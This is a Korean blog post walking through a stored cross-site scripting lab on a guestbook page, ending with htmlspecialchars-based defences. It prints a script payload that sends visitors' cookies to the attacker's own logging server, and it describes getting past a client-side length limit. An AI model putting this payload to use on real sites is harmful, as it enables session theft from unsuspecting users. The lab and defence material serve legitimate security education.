Web Hacking/XSS

Stored Cross-Site Scripting Attack(Stored XSS Attack)

seungwon9201 2024. 6. 28. 17:00

Stored Cross-Site Scripting Attack

Relfected XSS와 다른 점은 스크립트가 요청을 전송한 시점에 바로 반사되는 것이 아니라 웹 서버에 저장되었다가 실행이 된다는 차이점이 있다.

 

-실습 목표-
방명록에 자바스크립트를 삽입하고 이 방명록을 방문하는 모든 사용자의 쿠키 정보를 획득하자.

이번 실습은 Reflected XSS 실습과 동일하게 해볼 예정이다. 

칼리리눅스의 apache2 서버를 실행하고 접근 log를 모니터링하도록 tail 명령어를 실행해 둔 상태로 진행할 것이다.

 

실습 페이지로 가보자.

이번 실습 페이지는 방명록이 구현되어 있다.

Reflected XSS처럼 메세지 입력란에 쿠키를 출력하는 스크립트를 삽입해 보자.

<script>document.location='http://192.168.56.101/cookie?'+document.cookie</script>

스크립트를 삽입하려고 했으나 일정 글자를 입력하니 더 이상 입력이 되지 않는다.

여기서 우린 최대 글자 수 입력 제한이 걸려있는 것을 알 수 있다.

 

그러나 이 실습페이지의 경우 클라이언트 측에서 검사하도록 설정되어 있어서 쉽게 우회할 수 있다.

메시지 창에서 오른쪽 마우스 클릭으로 inspect를 클릭하자.

그러면 이처럼 HTML코드를 확인할 수 있다.

코드를 자세히 보니 maxlength가 50으로 설정이 되어있다. 이 설정값을 변경하면 50자 이상 입력할 수 있을 것이다!

글자제한을 250으로 바꿔줬다.

이제 다시 스크립트를 메시지창에 삽입하자.

이제 스크립트가 모두 삽입되었고 Sign Guestbook버튼을 눌러보자.

 

이번에도 Reflected XSS에서 발생한 error창이 뜨게 된다. 

이 실습 페이지는 방명록에 글을 저장하는 순간 내가 쓴 글의 내용을 다시 보여주기 때문에, 이처럼 스크립트만 입력하면 그림과 같이 스크립트가 뜨게 된다.

 

중요한 것은 접근 log이다.

이처럼 쿠키정보가 담긴 요청 기록이 생성되었다. 

이제 방명록에 스크립트를 삽입한 글이 남겨졌기에 이 방명록을 보는 모든 사용자가 공격에 당할 수 있다!


Cross-Site Scripting Attack 대응법

스크립트가 입력되더라도 스크립트가 실행되지 않도록 단순한 문자열로 표시하는 것이 가장 좋은 방법이다.

아래는 스크립트가 문자열로 표시하도록 작성한 코드이다.

아래의 코드를 보자.

$message = htmlspecialchars( $message );

 

htmlspecialchars() 함수는 &, ", ', <,>과 같은 특수문자들을 HTML 객체로 변환해 주는 함수이다.

즉, <를 &lt로 변경시켜 준다.

이렇게 변환된 문자열은 웹 브라우저가 읽더라도 스크립트로 처리되지 않고 문자로 처리된다.

 

정리하자면 XSS attack을 막기 위해서는 사용자 입력값을 웹 페이지에 출력할 때 지금처럼 특수문자들을 변환시켜줘야 한다. 혹은 입력값 검증을 통해서 파라미터의 입력값에 불필요한 문자열이 포함되지 않도록 하는 방법도 좋은 방법이다.